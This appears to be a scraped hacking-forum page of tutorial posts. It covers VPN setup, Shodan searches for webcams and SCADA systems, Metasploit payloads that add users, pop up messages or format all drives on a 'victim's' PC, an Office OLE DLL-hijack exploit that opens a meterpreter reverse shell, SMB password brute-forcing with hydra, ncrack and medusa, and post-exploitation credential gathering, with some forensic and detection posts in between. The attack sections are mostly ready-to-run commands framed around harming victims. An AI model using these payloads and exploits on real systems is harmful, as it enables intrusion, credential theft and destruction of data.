Setting up a client connection to a VPN network is very similar to setting up an old-fashioned Dial-Up connection through a phone line. You need to enter a server address (hostname or IP), user and password. Once connected, this system will receive an IP address within the VPN network, so you’ll be able to access it from any other machines also connected to the same VPN network.
Click on the Start -> Control Panel ->Network and Internet -> Network and Sharing Center
Change your network settings click on setup a new connection or network option, this contains different types of network connection options like broadband, dial-up, VPN or set up a router or access point.
Here you can many other options as I told, I will choose connect to a workplace to set a dial-up or VPN connections to your workplace. This option will set the connection to a workplace or say to our server for the client.
Now you will see next wizard for connect to workplace, which will ask for type of connection through which you will connect to your workplace or server.
My option will be use my internet connection (VPN) and the will be established using internet.
Now connecting network you must aware of IP address of workplace or say server. 192.168.0.106 it is the IP of my windows server 2008 r2 having VPN setup and configuration ,so I have mention this IP in Internet Address for connection
Now I had set privilege for user pentest to Allow Access for VPN connection. When you will try to connect it will ask for your credentials for authentication. Client will enter his username and password for establishing connection and click on connect.
When given credential will be found authorized, it will allow client to connect with workplace and provide VPN connection.
This is unshared and secure connection over internet between client and server for sharing data in a transparent medium.
To ensure that you have successful VPN connection open your command promot and type ipconfig this show another IP over LAN.
My IP is 192.168.0.104 under PPP adapter VPN connection, which will be used for login in server to access network and share data, as I am also having my LAN IP 192.168.0.105. This shows my VPN connection is established successfully.
Many people have described Shodan as a search engine for hackers, and have even called it “the world’s most dangerous search engine”. It was developed by John Matherly in 2009, and unlike other search engines, it looks for specific information that can be invaluable to hackers. John Matherly is an Internet Cartographer, hence the shodan.
Shodan is a type of search engine that allows users to search for Internet-connected devices and explicit website information such as the type of software running on a particular system and local anonymous FTP servers. Shodan can be used much in the same way as Google but indexes information based on banner content, which is meta-data that servers send back to hosting clients. For the best results, Shodan searches should be executed using a series of filters in a string format.
So, in conclusion, we can say that Shodan is a search engine for finding specific devices, and device types, that exist online. It is like an internet map that lets us see which device is connected to which or ports are open on a specific device or what operating system a certain system is using, etc. Rather than to locate specific content on a particular search term, SHODAN is designed to help the user find specific nodes (desktops, servers, routers, switches, etc.) with specific content in their banners.
What Shodan can do?
Shodan pulls service banners from servers and devices on the web, mostly port 80, but also ports 21 (ftp), 22 (SSH), 23 (telnet), 161 (SNMP), and 5060 (SIP). Since almost every new device now has a web interface (maybe even your refrigerator) to ease remote management, we can access innumerable web-enabled servers, network devices, home security systems, etc. Shodan can find us webcams, traffic signals, video projectors, routers, home heating systems, and SCADA systems that, for instance, control nuclear power plants and electrical grids. If it has a web interface, Shodan can find it! Although many of these systems communicate over port 80 using HTTP, many use telnet or other protocols over other ports. Keep that in mind when trying to connect to them.
How to use Shodan?
Understanding shodan is very important at first you might find it complex but once you get to know it you will find it very handy in use and very resourceful too. So, now let us learn how to work with fascinating search engine. To use shodan to your advantage you have
Follow the steps to register. After registration, a link will be sent to your e-mail ID for your activation of account on Shodan. Once your account is activated login to Shodan and now that you are logged in you are free to search for anything.
Here are some examples for which you can use shodan to search up the things you want.
Webcam
When you search for webcam, it will show you all the webcam present in the world. It will show the results as shown in the image below :
Traffic Signals
Searching about traffic signals or traffic signals camera then it will show you all the traffic surveillance camera present.
Cisco
Searching about Cisco will show you all the Cisco routers in the world but you can search them by country. Like, here, I have found Cisco routers in India and the result is below image :
Scada
You can also search about Scada and you will get its information around the whole world as shown :
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-LIFmyLUq1ms/V7vWq0E2EEI/AAAAAAAANNc/hHkchHhismcs4D50NtdvRInGTHxKYR7JwCLcB/s1600/5.png?w=687&ssl=1)
netcam
Shodan can also show you about all the netcams in the world and you can access them too for testing.
GPS
Shodan even lets you find all the GPS devices all over the world and for this, you just have to type GPS in the search box.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-GHUa3W5ELfs/V7vWsMsv3_I/AAAAAAAANNk/li3-u1DK4kUmgT1SJWaQJEamVhGd6SrpQCLcB/s1600/7.png?w=687&ssl=1)
Port
Not only the devices but it can help to find which port is open in which device. For example, I have here searched port: 1723. Now we all know this port is used for VPN so through this we can know which device is using VPN as shown in the image below :
When you search for port: 3389 it will show the operating system used by the device too which can be very useful.
This is how Shodan is useful for hackers as it gives all the information necessary to collect that too all over the world. And so you can manipulate this information as you desire.
|
|
|
|
| [Guide] How to Fun with Metasploit Payloads |
|
Posted by: NINZA - 04-24-2020, 02:54 PM - Forum: General Discussion
- No Replies
|
 |
Ordinarily small things have no use but whenever it comes up to their greater relevance then at a certain point of time it has a universalized impact and can create a complex situation. And this article is about some simple payloads that can help us to muddle with our victim. Hence, leaving a mark behind.
Moreover, Metasploit is not about hacking but it’s also about hacking in style. There are a lot of payloads that are too good not to use. These payloads are like small droplets in an ocean but still, they matter and there are only a handful of people about these payloads. Also so far we have only learned about hardcore Metasploit but let’s see what more cools things it has to show us.
Table of Content :
- Add User
- Message Box
- Format all drives
- Speak
Add User
Moving forward, let us learn how to make such payloads, open Metasploit and use windows/adduser payload. This payload lets you create another user in your victim’s PC.
In these payloads, we have the following parameters:
f: for the format.
o: for output.
use windows/adduser
set user raaz
set pass Ignite@123
set wmic true
generate -f exe -o /root/user.exe
1
2
3
4
5
use windows/adduser
set user raaz
set pass Ignite@123
set wmic true
generate -f exe -o /root/user.exe
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-9JGKhal1LhM/XGkSDDQcaZI/AAAAAAAActU/eRevohwckJ8Mm9WSDRmMZwHjZDmWrUKGACLcBGAs/s1600/1.png?w=687&ssl=1)
With the execution of the above command, a new user will be created in your victim’s PC. And you can go to the shell of your victim’s PC and see the result. And to see the user’s type:
net user
1
net user
Message Box
Another payload is windows/messagebox. This payload makes a pop-up message appear on a victim’s PC. The message can be anything you want along with the title. To create this payload again open Metasploit and use windows/messagebox. The commands are:
use windows/messagebox
set text you have been hacked
set title Important Message
generate -f exe -o /root/message.exe
1
2
3
4
use windows/messagebox
set text you have been hacked
set title Important Message
generate -f exe -o /root/message.exe
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-E_LKSiyAIz8/XGkSDDljidI/AAAAAAAActQ/U6o63ErJXYQmJPOuaerpQB_54g96A0CuACLcBGAs/s1600/2.png?w=687&ssl=1)
And your payload is created. When you will send it and once the victim will open it then a pop-up message box will appear displaying your message like the following one:
Format All Drives
Our next payload is windows/format_all_drives. This payload formats any desired drive. The commands to create this payload are :
use windows/format_all_drives
set volumelabel 3
generate -f exe -o /root/format.exe
1
2
3
use windows/format_all_drives
set volumelabel 3
generate -f exe -o /root/format.exe
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-uYQX4Dua1vM/XGkSDVn9dqI/AAAAAAAActY/KCXlpjvq5qM66A7xkgSEmOYuZOzBS77RQCLcBGAs/s1600/3.png?w=687&ssl=1)
When the payload is sent and opened, it formats their drive.
Speak
Another such payload is speak_pwned. This payload is a one-line command payload which creates audio saying “you have been pawned” and now when the victim will open it then this audio will be played for him/her. And it’s command is :
use windows/speak_pwned
generate -f exe -o /root/speak.exe
1
2
use windows/speak_pwned
generate -f exe -o /root/speak.exe
So that is how you can use different payloads to mess with your victim. Also, you can create this payload and keep it safe with you so that you can use it whenever you want. And please note that all these payloads are post-payloads to make these work you need to first hack your victim.
This way even the smaller things will make a difference; after all,l even a pawn can kill the king. And most importantly, once you are done with your victim you can leave him/her a souvenir.
Cryptography is the conversion of plain readable text into the unreadable form. In cryptography first, the data is converted into ciphertext (that is encryption) and then the ciphertext is converted back into readable form (that is decryption). Cryptography basically works on the concept of encryption and decryption. Encryption and decryption should not be confused with encoding and decoding, in which data is converted from one form to another but is not deliberately altered so as to conceal its content. Encryption is achieved through the algorithms. These algorithms are works with logic, mathematics calculations, and its complexities.
Hash Function is the most important function in Cryptography. A hash means a 1 to 1 relationship between data. This is a common data type in languages, although sometimes it’s called a dictionary. A hash algorithm is a way to take an input and always have the same output, otherwise known as a 1 to 1 function. An ideal hash function is when this same process always yields a unique output. So you can tell someone, here is a file, and here is its md5 hash. If the file has been corrupted during then the md5 hash will be a different value.
In practice, a hash function will always produce a value of the same size, for instance, md5 () it will always return 128bits no matter the size of the input. This makes a 1 to 1 relationship impossible. A cryptographic hash function takes extra precautions in making it difficult to produce 2 different inputs with the same output, this is called a collision. It also makes it difficult to reverse the function. Hash functions are used for password storage because if an attacker where to obtain the password’s hash then it forces the attacker to break the hash before he can use it to log in. To break hashes, attackers will take a word list or an English dictionary and find all of the corresponding hash values and then iterate through the list for each password looking for a match.
md5 (), sha0 and sha1 () are all vulnerable to hash collision attacks and should never be used for anything security related. Instead, any member of the sha-2 family, such as sha-256 should be used.
To calculate the Hash Value, we will use a Hash Calculator. Install Hash Calculator from –> [To see content please register here]
Hash function plays a major role in the hacking/forensic world because it helps us to know whether a particular file has changed or not. You can also calculate the hash value of your computer and know if anyone has made any kind of changes.
To calculate the hash value open Hash Calculator.
Now browse the file of which you want to calculate the hash value. And click on Calculate.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Qf09s3SEd6g/V7iZ_pJgmaI/AAAAAAAANMA/LE3XqhQJo888BxCNhJAExVdwEZJVageCwCLcB/s1600/2.png?w=687&ssl=1)
After clicking on calculate it will give too hash values using four different hashing algorithms i.e MD5, SHA1, RIPEMD160, CRC32. You can check other boxes too if you want to use those algorithms to calculate the hash value.
This way Hash calculator helps us to know the hash value. Now if there are any changes made in this file, the hash value will change too.
Once I calculated the hash value above I made some changes in the file and calculated the hash value again with the same method and as a result, the hash value was changed.
Now, we have two hash values. Let us compare both of these values of MD5. The value of first file is 1110808875326e25dl93e4ee096afaf1 and the value of other file is fb9d53883f302d78c978a583e8a85.
Seeing these two values of MD5 of the same file we can conclude that some changes are made. Because even the slightest difference will change the hash value.
But now the main question is how to detect this change because a file can be of 1TB too. Also, imagine that you are sending a hard disk full of important documents to someone and there is a huge possibility that someone can bribe the sender and make changes in your documents. So how can you detect these changes?
The answer is very simple –> Compare it! This tool helps us achieve our goal which is to detect the change.
Download Compare it! From —> [To see content please register here]
Open Compare it!
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SiwbQ-bUFhA/V7iaAWP9nhI/AAAAAAAANMM/Bo0kGjhbAWogv2Q3oyGpOmjtvO91jAK1gCLcB/s1600/4.png?w=687&ssl=1)
Click the file and a drop menu will appear. Select the compare files option.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-_ZK_EwKmC1g/V7iaAixE3XI/AAAAAAAANMQ/-W4HEmze5awGBdSswAf8EKkm9fkgb-E1wCLcB/s1600/5.png?w=687&ssl=1)
A Dialogue box will open which will ask you to choose the files that you want to compare. Click on Browse button and select your file. And click on Open.
It will show you the changes by highlighting them with green colour and the red colour will tell the exact change as shown below:
So, in such a way you can protect your sensitive data and detect the crime done too.
Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When we instantiate a vulnerable object, Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker’s DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system.
Exploit Targets
MS Office 2007
MS Office 2010
Requirement
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/windows/fileformat/office_ole_multiple_dll_hijack
msf exploit (office_ole_multiple_dll_hijack)>set payload windows/meterpreter/reverse_tcp
msf exploit (office_ole_multiple_dll_hijack)>set lhost 192.168.0.105 (IP of Local Host)
msf exploit (office_ole_multiple_dll_hijack)>exploit
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jvjmAo1LsM8/V7frbkLWVFI/AAAAAAAANLw/I6f5U98rbjUEhqvucq-IhH3AHVqE8v1GgCLcB/s1600/2.png?w=687&ssl=1)
After we successfully generate the malicious dll and ppsx File, it will stored on your local computer
/root/.msf4/local
COMServices.ppsx is the file that you will zip and send to victim using various Social Engineering Technique that we have studied in previous articles.
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
exploit
Now send your malicious PPT files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
Anti-Metasploit is an article to know about how can you detect if you are hacked by someone through Metasploit or not. Today, most of the time we stumble upon the ways about how we can be hacked or how to hack someone but no one tells you how to detect if you are hacked.
So, therefore, in this article, we will learn how to detect you have hacked someone through Metasploit. And to this there are two tools :
Both of these tools will help us to achieve our goal. These tools help you kill the meterpreter session that your hacker has gained. You can download these tools from –>
[To see content please register here]
Antipwny
When you will double click on the software, a dialogue box will open and it will show the meterpreter file running in your computer as shown:
Now, right click on the process and select the kill process option.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qidfLRtnY5A/V7aKDSyy9AI/AAAAAAAANLM/V7c71kAqiEot54e6IzhT_FdwJm9MixvwwCLcB/s1600/2.png?w=687&ssl=1)
And so you can detect the file and stop it too in just two simple steps.
Antimeter
When you open this software, it will scan the whole computer and it shows the virus containing the file. Also, it will ask you to kill the process or not. So, you type y for yes and the process will die.
Thus, the ways to detect if you have been hacked. These tools do not only allow us to detect the file but help us to kill it also that too in two simple steps. When the steps are completed your hacker will lose the session making you safe and secure. So go on and raise your head against these exploiting hackers.
|
|
|
|
| [Guide] 3 Ways to Mount a RAW Image in Windows |
|
Posted by: NINZA - 04-24-2020, 02:50 PM - Forum: General Discussion
- No Replies
|
 |
In Cyber Forensic, to investigate a hard drive or disks we always make a forensic image. In this article, we will learn to create various ways forensic images.
Table of Content : - Introduction
- Why mounting an image is necessary
- AccessData FTK Imager
- OSFMount
- Mount Image PRO
Introduction
A Forensic Image is a forensically sound and complete copy of a hard drive or other digital media, generally intended for use as evidence. Copies include unallocated space, slack space, and boot record. Many computer forensic programs, especially the all-in-one suites, use their own file formats to store information. These images are stored in a format of the RAW file or AFF or E01.
RAW Image Format: Forensic image format is a RAW bit-by-bit copy of the original. It is often accompanied by Metadata stored in separate formats. This Image Format is the most commonly used and is read by every Forensic tool in the industry.
Why mounting an image is necessary
Once the RAW image is created, it can’t be read unless it is mounted by a tool. Mount is the process that will take the raw logical image and mount it onto a specified directory of choice to be able to examine the contents of that image. The image has to include be a recognizable file system as a partition. This makes the invocation of the command interesting as the raw image is a physical disk image and not a specific partition of a file system.
Mount an image for a read-only view that leverages to see the content of the image exactly as the user saw it on the original drive.
There are various methods to mount a RAW file. But before we learn how to mount our RAW files, just have look on your my computer so that you can have an idea about how many drives you have before mounting a RAW file. For instance, the following is the image of my computer of my PC:
Now, Let us have a look at these methods :
AccessData FTK Imager
FTK Imager (version – 3.4.2) is a tool introduced by Access Data which is used to preview data. It is also an imaging tool that lets us acquire in a forensically sound way. FTK helps us to create forensic images, Mount an image for a read-only view, Create hashes of files, etc and right now we will focus on its Mount function. To mount a RAW image file via FTK, first of all, download FTK from –> [To see content please register here]
Now that FTK is downloaded and installed, open it and click on Files on the menu bar. A drop-down menu will appear, from this menu click on Image Mounting.
A dialogue box will open now. Give the path of the RAW file in Image File option and click on Mount button.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-65jXAGU8tAo/V7M087VDMEI/AAAAAAAANIo/FIA-zq4DbXUdA79vEG6Xxc_6brtK0YbkgCLcB/s1600/2.png?w=687&ssl=1)
Once you click on Mount button your image will be mounted and you can see the result in Mapped images:
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-_LRnNH951rw/V7M09aC0XTI/AAAAAAAANIw/FlnyZZIUc6ALdlzOHRA6CLySR3h8LJwlgCLcB/s1600/4.png?w=687&ssl=1)
OSFMount
OSFMount (version – 1.5.1015) is software by PassMark Software. It helps you mount your image files even your hard disk image file in windows with a drive letter. You can then analyze the disk image files further. For your original files not to be altered, the image files are mounted as read-only by default. Download this software from –> [To see content please register here]
Open OSFMount after the installation is completed open it:
Go to File menu and select the Mount new virtual disk option.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-e7Ai0AI4IVE/V7M09ik-_PI/AAAAAAAANI4/fudQXgLWmRwRl4dzmpdSxbJ4H-4Vb3LowCLcB/s1600/6.png?w=687&ssl=1)
Dialogues will open; here give the path of your image file under the heading Image file and click on OK.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-piBHZcyCaBY/V7M09_HGKOI/AAAAAAAANI8/lRRC_mzgUi4i9vbTbInZPEfEvxT_koAaQCLcB/s1600/7.png?w=687&ssl=1)
You can see in the following image that your RAW image will be mounted as a result:
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/--QMejVsVO3Y/V7M09_HfNsI/AAAAAAAANJA/wVLr5VWlxvA2xAMwMtWUTX46_E4_JRzkACLcB/s1600/8.png?w=687&ssl=1)
Mount Image Pro
Get Data is a software development company that has launched Mount Image Pro (version – 6). It is a computer forensic tool which enables us to mount an image for a forensic purpose. You can download this software from [To see content please register here]
Open the software after its installation.
Go to File menu and click on Mount Image File.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-iUahPG4BJlw/V7M07gjYgoI/AAAAAAAANIM/XxzOaGfSVcA7hukaJywhVluwykWVsNrMACLcB/s1600/10.png?w=687&ssl=1)
A dialogue box will open and select your image file from it.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-XIqAPeW4HuY/V7M07qLousI/AAAAAAAANIU/r9tUGEQTFBwwHDvt9r0h1Q3-Isp82p_wQCLcB/s1600/11.png?w=687&ssl=1)
And then another dialogue box will open informing you with all the details. Click on OK.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Xs_yNahPXps/V7M08BH3aZI/AAAAAAAANIY/pAB9P1P_P6M5cEKkncbHxhG_gBtuw7jXgCLcB/s1600/12.png?w=687&ssl=1)
It will further show you the progress in another dialogue box.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-MZHHfqt-fc4/V7M08NMOnWI/AAAAAAAANIc/Z4vYu4FdPUUXk82189wHUMe5955difzPgCLcB/s1600/13.png?w=687&ssl=1)
And as the outcome you can see that your image file will mount as shown in the following image:
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-dsj_hWiERVQ/V7M08XMVB_I/AAAAAAAANIg/OUNf74vho18mcNDiiTdxmlR6jNwyJeszQCLcB/s1600/14.png?w=687&ssl=1)
Now, as I had asked you to check you’re my computer before mounting the image, similarly, you can again check my computer and you will an extra drive as shown below:
In this article, we will learn how to gain control over our victim’s PC through SMB Port. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Table of Contents- Hydra
- X-Hydra
- Medusa
- Ncrack
- Metasploit
xHydra
This is the graphical version to apply dictionary attack via SMB port to hack a system. For this method to work:
Open xHydra in your Kali. And select Single Target option and there give the IP of your victim PC. And select smb in the box against Protocol option and give the port number 445 against the port option.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-1l4jtN0-RVs/Wp7QKE_WPPI/AAAAAAAAVB8/ID1QQcSz4IUkOIVPvQqWMKMBnjk6A7uVwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Now, go to Passwords tab and select Username List and give the path of your text file, which contains usernames, in the box adjacent to it.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2sgJmXylX8s/Wp7QKJSobsI/AAAAAAAAVB0/SkGH4zpDOFENghVi-NFusMXyfcIqgQeQQCEwYBhgL/s1600/4.png?w=687&ssl=1)
After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will attain the username as pc21 and password as 123 of your victim.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BcAFeRcptSA/Wp7QLOnr-sI/AAAAAAAAVCA/UzfICqTk6GkAeGmJUI3QV6blvMlHmtQpQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Hydra
This is one command method and works efficiently with not much work. This method works in the terminal of kali. Therefore, open the terminal in your kali and type:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.118 smb
1
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.118 smb
Here,
-L –> denotes the path of username list
-P –> is to denote the path of password
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. After a few minutes, Hydra crack the credential, as you can observe that we had successfully grabbed the SMB username as pc21 and password as 123.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-05Cp0_Q_XHM/Wp7QKLSTC3I/AAAAAAAAVB4/T7tiGE7228k-meXAdzrGUcja_TL5VkR5gCEwYBhgL/s1600/2.png?w=687&ssl=1)
Ncrack
This too is a one command method which also works in the terminal of kali. Go to your terminal and type:
ncrack –U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.118 –p 445
1
ncrack –U /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.118 –p 445
Here,
-U –> denotes the path of username list
-P –> denotes password file’s path
445 –> is the port number
And so, with little work, we can attain the password and username of our victim’s PC. Hence, all the methods to hack a system through SMB port which is used for file sharing
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-x6q7jTA4PY8/Wp7QLmwpxVI/AAAAAAAAVCE/2iyMoRv3iUU4EdeaTSVHueZ4kI_8KTCAwCEwYBhgL/s1600/6.png?w=687&ssl=1)
Medusa
Medusa is a speedy, parallel, and modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible
Run the following command
medusa -h 192.168.1.118 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M smbnt
1
medusa -h 192.168.1.118 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M smbnt
Now, the process of dictionary attack will start. Thus, you will attain the username and password of your victim.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-d1lkaZv0KvE/Wp7QLzOaepI/AAAAAAAAVCc/GxeS4fYnKpMTV18Q5pz-buUQd8h47wh6gCEwYBhgL/s1600/7.png?w=687&ssl=1)
Metasploit
This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Once the metasploit opens type:
use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.1.118
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit
1
2
3
4
5
6
use auxiliary/scanner/smb/smb_login
msf exploit (smb_login)>set rhosts 192.168.1.118
msf exploit (smb_login)>set user_file /root/Desktop/user.txt
msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
msf exploit (smb_login)>set stop_on_success true
msf exploit (smb_login)>exploit
Here,
auxiliary/scanner/smb/smb_login—> is a module we will use to attempt to login
/root/Desktop/user.txt –> is the path of a text file which is the resident of all the possible usernames.
/root/Desktop/pass.txt –> is the path of a text file in which all the possible passwords resides.
Now, the process of dictionary attack will start. Thus, you will attain the username and password of your victim.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SDXAu3AhoNQ/Wp7QL_nL3lI/AAAAAAAAVCg/lSlEoL1rB3E9Wp6-C-Ln7nVUQ_Cml0wjACEwYBhgL/s1600/8.png?w=687&ssl=1)
In Hacking, Ports and Protocols play a major role as hacking is not possible without them. And to work with them, let us first understand ports and protocols.
In information technology, a protocol is the special set of rules that end points in a telecommunication connection use when they communicate. Protocols specify interactions between the communicating entities. So, basically, Network protocols are the language of rules and conventions used for handling communicated between network devices and ensuring the optimal operation of a network. Network protocols include key internet protocols such as IP and IPv6 as well as DNS and FTP, and it also includes more network-specific protocols like SNMP and NTP.
In the internet protocol suite, a port is an endpoint of communication in an operating system. A port in computer networking is a logical access channel for communication between two devices. Bi-directional communications and more complex connections may use multiple ports (channels) simultaneously. It is always associated with an IP address of a host and the protocol type of the communication, and thus completes the destination or origination address of a communication session.
A port is identified for each address and protocol by a 16-bit number, commonly known as the port number.
This understood Ports and Protocols. Now, to work with the SMB protocol, let us understand it.
SMB: Server Message Block, the modern dialect of which was known as Common Internet File System, operates as an application-layer network protocol for file sharing that allows applications on a computer to read and write to files and to request services from server programs in a computer network. The SMB protocol can be used on top of its TCP/IP protocol or other network protocols. Using the SMB protocol, an application (or the user of an application) can access files or other resources at a remote server. This allows applications to read, create, and update files on the remote server. It can also communicate with any server program that is set up to receive an SMB client request.
Presently, the latest version of SMB is the SMB 3.1.1 which was introduced with Windows 10 and Windows Server 2016. This version supports AES 128 GCM encryption in addition to AES 128 CCM encryption added in SMB3 and implements pre-authentication integrity check using SHA-512 hash. SMB 3.1.1 also makes secure negotiation mandatory when connecting to clients using SMB 2.x and higher.
Working of SMB: SMB functions as a request-response or client-server protocol. The only time that the protocol does not work in a response-request framework is when a client requests an opportunistic lock (oplock) and the server has to break an existing oplock because the current mode is incompatible with the existing oplock. Client computers using SMB connect to a supporting server using NetBIOS over TCP/IP, IPX/SPX, or NetBEUI. Once the connection is established, the client computer or program can then open, read/write, and access files similar to the file system on a local computer.
SMB Protocol Security: The SMB protocol supports two levels of security. The first is the share level. The server is protected at this level and each share has a password. The client computer or user has to enter the password to access data or files saved under the specific share. This is the only security model available in the Core and Core plus SMG protocol definitions. User level protection was later added to the SMB protocol. It is applied to individual files and each share is based on specific user access rights. Once a server authenticates the client, he/she is given a unique identification (UID) that is presented upon access to the server. The SMB protocol has supported individual security since LAN Manager 1.0 was implemented.
In Metasploit, there are very simple commands to know if the remote host or remote PC support SMB or not.
SMB 2.0 Protocol Detection
Detect systems that support the SMB 2.0 protocol
use auxiliary/scanner/smb/smb2
msf exploit (smb2)>set rhosts 192.168.0.104
msf exploit (smb2)>set rport 445
msf exploit (smb2)>exploit
Once you hit enter after exploit, you will see the result providing you with all the information about the opened SMB Protocol.
SMB Version Detection
Display version information about each system
use auxiliary/scanner/smb/smb_version
msf exploit (smb_version)>set rhosts 192.168.0.104
msf exploit (smb_version)>exploit
After the command has been run, it will inform you about the version of SMB running on our remote PC.
SMB Share Enumeration
This module determines what shares are provided by the SMB service and which ones are readable/writable. It also collects additional information such as share types, directories, files, timestamps, etc. By default, a netshareenum request is done in order to retrieve share information, but if this fails, you may also fall back to SRVSVC.
use auxiliary/scanner/smb/smb_enumshares
msf exploit (smb_enumshares)>set rhosts 192.168.0.104
msf exploit (smb_enumshares)>set smbuser raj
msf exploit (smb_enumshares)>set smbpass raj
msf exploit (smb_enumshares)>exploit
And so, after the execution of the command, the result will be displayed. Some of the access is denied most of the systems that are probed. Passing user credentials to the scanner will produce many different results.
SMB User Enumeration (SAM EnumUsers)
Determine what local users exist via the SAM RPC service
use auxiliary/scanner/smb/smb_enumusers
msf exploit (smb_enumusers)>set rhosts 192.168.0.104
msf exploit (smb_enumusers)>set smbuser raj
msf exploit (smb_enumusers)>set smbpass raj
msf exploit (smb_enumusers)>exploit
As the command executes we can see that it has provided us with the list of users of our remote PC.
SMB SID User Enumeration (LookupSid)
Determine what users exist via brute force SID lookups. This module can enumerate both local and domain accounts by setting ACTION to either LOCAL and DOMAIN
use auxiliary/scanner/smb/smb_lookupsid
msf exploit (smb_lookupsid)>set rhosts 192.168.0.104
msf exploit (smb_lookupsid)>set smbuser raj
msf exploit (smb_lookupsid)>set smbpass raj
msf exploit (smb_lookupsid)>exploit
And so, you can find all the users which you never even knew that existed.
Now that you scan your remote PC’s IP with nmap you will see that these ports were opened through which you gathered all the desired information.
nmap -sV 192.168.0.104
And in the result, as above, you can see that Ports 445, 139 were infecting open.
Conclusion: Understanding a port and finding such things through a given port helps us to exploit our victim much more accurately as gather the most minute piece of information. Collecting such information about a port and knowing what to do with it give the exploiter certain power of manipulation. Therefore, understanding a port and what it can do and how to find information about it on our remote PC helps us improve our hacking skills as this is the foundation of hacking.
Enumerate all logged on users
This module will enumerate current and recently logged on Windows users.
msf > use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users) > set session 1
msf post(enum_logged_on_users) > exploit
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ny0Ay3LLvBA/V6r5zXUTUNI/AAAAAAAANGE/luBWRag9DCcVePH3RLbaNqOjJAa6HN7AwCLcB/s1600/1.png?w=687&ssl=1)
Gather All Group Policy Preference
This module enumerates the victim machine’s domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft’s public AES key. Cached Group Policy files may if the group policy object is deleted rather than unlinked. Tested on WinXP SP3 Client and Win2k8 R2 DC.
msf > use post/windows/gather/credentials/gpp
msf post(gpp) > set session 1
msf post(gpp) > exploit
Find All DNS Service Records
Enumerates know SRV Records for a given domain using target host DNS query tool.
msf > use post/multi/gather/dns_srv_lookup
msf post(dns_srv_lookup) > set domain rajlab.com
msf post(dns_srv_lookup) > set session 1
msf post(dns_srv_lookup) > exploit
Find All Services in Server
This module will query the system for services and display name and configuration info for each returned service. It allows you to optionally search the credentials, path, or start type for a string and only return the results that match. These query operations are cumulative and if no query strings are specified, it just returns all services. NOTE: If the script hangs, windows firewall is most likely on and you did not migrate to a safe process (explorer.exe for example)
msf > use post/windows/gather/enum_services
msf post(enum_services) > set session 1
msf post(enum_services) > exploit
Find All Active Directory TCP sessions
